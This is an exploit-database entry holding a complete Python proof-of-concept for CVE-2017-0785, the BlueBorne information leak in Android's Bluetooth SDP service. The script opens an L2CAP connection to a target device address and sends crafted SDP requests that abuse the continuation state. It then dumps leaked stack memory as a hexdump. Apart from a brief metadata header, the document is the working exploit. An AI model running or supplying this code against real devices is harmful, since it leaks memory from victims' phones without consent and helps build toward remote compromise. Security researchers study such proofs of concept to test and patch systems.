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Android Bluetooth - Blueborne Information Leak (2) Exploit

Author
Kert Ojasoo
Risk
[
Security Risk High
]
0day-ID
0day-ID-30273
Category
remote exploits
Date add
29-04-2018
CVE
CVE-2017-0785
Platform
Android
from pwn import *
import bluetooth
 
if not 'TARGET' in args:
    log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX")
    exit()
 
target = args['TARGET']
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30
 
def packet(service, continuation_state):
    pkt = '\x02\x00\x00'
    pkt += p16(7 + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt
 
p = log.progress('Exploit')
p.status('Creating L2CAP socket')
 
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'
 
p.status('Connecting to target')
sock.connect((target, 1))
 
p.status('Sending packet 0')
sock.send(packet(service_long, '\x00'))
data = sock.recv(mtu)
 
if data[-3] != '\x02':
    log.error('Invalid continuation state received.')
 
stack = ''
 
for i in range(1, n):
    p.status('Sending packet %d' % i)
    sock.send(packet(service_short, data[-3:]))
    data = sock.recv(mtu)
    stack += data[9:-3]
 
sock.close()
 
p.success('Done')
 
print hexdump(stack)

#  0day.today [2024-06-30]  #